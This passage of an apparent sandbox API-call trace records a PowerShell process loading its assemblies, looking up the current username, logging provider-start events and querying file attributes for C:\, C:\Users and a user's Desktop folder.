lpBuffer=0xccc50, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.063] SetErrorMode (uMode=0x1) returned 0x1 [0025.063] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xcceb0 | out: lpFileInformation=0xcceb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xffcd720, ftLastAccessTime.dwHighDateTime=0x1d35a45, ftLastWriteTime.dwLowDateTime=0xffcd720, ftLastWriteTime.dwHighDateTime=0x1d35a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0025.063] SetErrorMode (uMode=0x1) returned 0x1 [0025.063] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xccc50, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.063] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xccb00, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.063] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0025.063] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xcca30, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.063] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0025.063] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xcca80, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.065] SetErrorMode (uMode=0x1) returned 0x1 [0025.065] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xccce0 | out: lpFileInformation=0xccce0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xffcd720, ftLastAccessTime.dwHighDateTime=0x1d35a45, ftLastWriteTime.dwLowDateTime=0xffcd720, ftLastWriteTime.dwHighDateTime=0x1d35a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0025.066] SetErrorMode (uMode=0x1) returned 0x1 [0025.066] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xcca80, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.066] SetErrorMode (uMode=0x1) returned 0x1 [0025.066] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xccce0 | out: lpFileInformation=0xccce0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xffcd720, ftLastAccessTime.dwHighDateTime=0x1d35a45, ftLastWriteTime.dwLowDateTime=0xffcd720, ftLastWriteTime.dwHighDateTime=0x1d35a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0025.066] SetErrorMode (uMode=0x1) returned 0x1 [0025.066] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xccb20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.066] SetErrorMode (uMode=0x1) returned 0x1 [0025.066] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xccd80 | out: lpFileInformation=0xccd80*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xffcd720, ftLastAccessTime.dwHighDateTime=0x1d35a45, ftLastWriteTime.dwLowDateTime=0xffcd720, ftLastWriteTime.dwHighDateTime=0x1d35a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0025.066] SetErrorMode (uMode=0x1) returned 0x1 [0025.066] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b714470, nSize=0xcd188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xcd188) returned 0x1 [0025.067] GetUserNameW (in: lpBuffer=0x2a4120, pcbBuffer=0xcd1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0xcd1c8) returned 1 [0025.067] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3bdea40*="FileSystem", lpRawData=0x3bde7d0) returned 1 [0025.068] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.068] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.068] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b714470, nSize=0xcd188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xcd188) returned 0x1 [0025.068] GetUserNameW (in: lpBuffer=0x2a4120, pcbBuffer=0xcd1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0xcd1c8) returned 1 [0025.068] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3be4230*="Function", lpRawData=0x3be3fc0) returned 1 [0025.069] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.069] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.103] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcca30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0025.103] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0025.104] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0025.106] CoTaskMemAlloc (cb=0x804) returned 0x1b714470 [0025.106] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b714470, nSize=0xcd188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xcd188) returned 0x1 [0025.106] CoTaskMemFree (pv=0x1b714470) [0025.106] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.106] GetUserNameW (in: lpBuffer=0x2a4120, pcbBuffer=0xcd1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0xcd1c8) returned 1 [0025.106] CoTaskMemFree (pv=0x2a4120) [0025.106] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c06a08*="Registry", lpRawData=0x3c06798) returned 1 [0025.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcca30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0025.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0025.107] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcc980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0025.108] CoTaskMemAlloc (cb=0x804) returned 0x1b714470 [0025.108] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b714470, nSize=0xcd188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xcd188) returned 0x1 [0025.108] CoTaskMemFree (pv=0x1b714470) [0025.108] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0025.108] GetUserNameW (in: lpBuffer=0x2a4120, pcbBuffer=0xcd1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0xcd1c8) returned 1 [0025.108] CoTaskMemFree (pv=0x2a4120) [0025.108] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c0bdd0*="Variable", lpRawData=0x3c0bb60) returned 1 [0025.109] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.109] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.109] CoTaskMemFree (pv=0x25ae70) [0025.110] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.111] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.111] CoTaskMemFree (pv=0x25ae70) [0025.111] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xcca30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0025.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xcc980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0025.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xcc980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0025.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xcc980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0025.127] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b714470, nSize=0xcd188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xcd188) returned 0x1 [0025.128] GetUserNameW (in: lpBuffer=0x2a4120, pcbBuffer=0xcd1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0xcd1c8) returned 1 [0025.128] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c1f998*="Certificate", lpRawData=0x3c1f728) returned 1 [0025.130] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.130] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.131] GetLogicalDrives () returned 0x4 [0025.131] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.131] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.135] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.135] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.136] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.136] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.136] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xccb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0025.136] SetErrorMode (uMode=0x1) returned 0x1 [0025.136] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xccdd0 | out: lpFileInformation=0xccdd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x39977570, ftLastAccessTime.dwHighDateTime=0x1d36875, ftLastWriteTime.dwLowDateTime=0x39977570, ftLastWriteTime.dwHighDateTime=0x1d36875, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0025.137] SetErrorMode (uMode=0x1) returned 0x1 [0025.137] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xccb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0025.137] SetErrorMode (uMode=0x1) returned 0x1 [0025.137] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xccdd0 | out: lpFileInformation=0xccdd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x39977570, ftLastAccessTime.dwHighDateTime=0x1d36875, ftLastWriteTime.dwLowDateTime=0x39977570, ftLastWriteTime.dwHighDateTime=0x1d36875, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0025.137] SetErrorMode (uMode=0x1) returned 0x1 [0025.137] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0025.137] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.141] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xccd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0025.141] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xccb80, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.141] SetErrorMode (uMode=0x1) returned 0x1 [0025.141] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xccd90 | out: lpFileInformation=0xccd90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xffcd720, ftLastAccessTime.dwHighDateTime=0x1d35a45, ftLastWriteTime.dwLowDateTime=0xffcd720, ftLastWriteTime.dwHighDateTime=0x1d35a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0025.142] SetErrorMode (uMode=0x1) returned 0x1 [0025.142] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xccb80, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.143] SetErrorMode (uMode=0x1) returned 0x1 [0025.143] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xccd90 | out: lpFileInformation=0xccd90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xffcd720, ftLastAccessTime.dwHighDateTime=0x1d35a45, ftLastWriteTime.dwLowDateTime=0xffcd720, ftLastWriteTime.dwHighDateTime=0x1d35a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0025.143] SetErrorMode (uMode=0x1) returned 0x1 [0025.143] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xccb90, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.143] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xcca80, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0025.143] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xccb80, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0025.143] SetErrorMode (uMode=0x1) returned 0x1 [0025.143] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0xccd90 | out: lpFileInformation=0xccd90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0025.143] SetErrorMode (uMode=0x1) returned 0x1 [0025.143] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xccb80, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0025.143] SetErrorMode (uMode=0x1) returned 0x1 [0025.143] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0xccd90 | out: lpFileInformation=0xccd90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0025.143] SetErrorMode (uMode=0x1) returned 0x1 [0025.143] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xccb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0025.143] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0xcca80, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0025.143] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0xccb80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0025.144] SetErrorMode (uMode=0x1) returned 0x1 [0025.144] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0xccd90 | out: lpFileInformation=0xccd90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0025.144] SetErrorMode (uMode=0x1) returned 0x1 [0025.144] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0xccb80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0025.144] SetErrorMode (uMode=0x1) returned 0x1 [0025.144] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0xccd90 | out: lpFileInformation=0xccd90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0025.144] SetErrorMode (uMode=0x1) returned 0x1 [0025.144] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0xccb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0025.144] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\.", nBufferLength=0x105, lpBuffer=0xcca80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0025.144] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xccb80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0025.144] SetErrorMode (uMode=0x1) returned 0x1 [0025.144] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xccd90 | out: lpFileInformation=0xccd90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x39977570, ftLastAccessTime.dwHighDateTime=0x1d36875, ftLastWriteTime.dwLowDateTime=0x39977570, ftLastWriteTime.dwHighDateTime=0x1d36875, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0025.144] SetErrorMode (uMode=0x1) returned 0x1 [0025.144] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xccb80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0025.144] SetErrorMode (uMode=0x1) returned 0x1 [0025.144] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xccd90 | out: lpFileInformation=0xccd90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x39977570, ftLastAccessTime.dwHighDateTime=0x1d36875, ftLastWriteTime.dwLowDateTime=0x39977570, ftLastWriteTime.dwHighDateTime=0x1d36875, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0025.144] SetErrorMode (uMode=0x1) returned 0x1 [0025.144] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xccb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0025.145] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0xcca80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0025.145] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xccbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0025.145] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0xccdd0 | out: lpFileInformation=0xccdd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0025.145] SetErrorMode (uMode=0x1) returned 0x1 [0025.145] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xccbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0025.145] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0xccdd0 | out: lpFileInformation=0xccdd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0025.145] SetErrorMode (uMode=0x1) returned 0x1 [0025.145] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xccbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0025.145] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0xccdd0 | out: lpFileInformation=0xccdd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0025.145] SetErrorMode (uMode=0x1) returned 0x1 [0025.145] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0xccbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0025.145] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0xccdd0 | out: lpFileInformation=0xccdd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0025.145] SetErrorMode (uMode=0x1) returned 0x1 [0025.146] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0xccbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0025.146] GetFileAttributesExW (in: 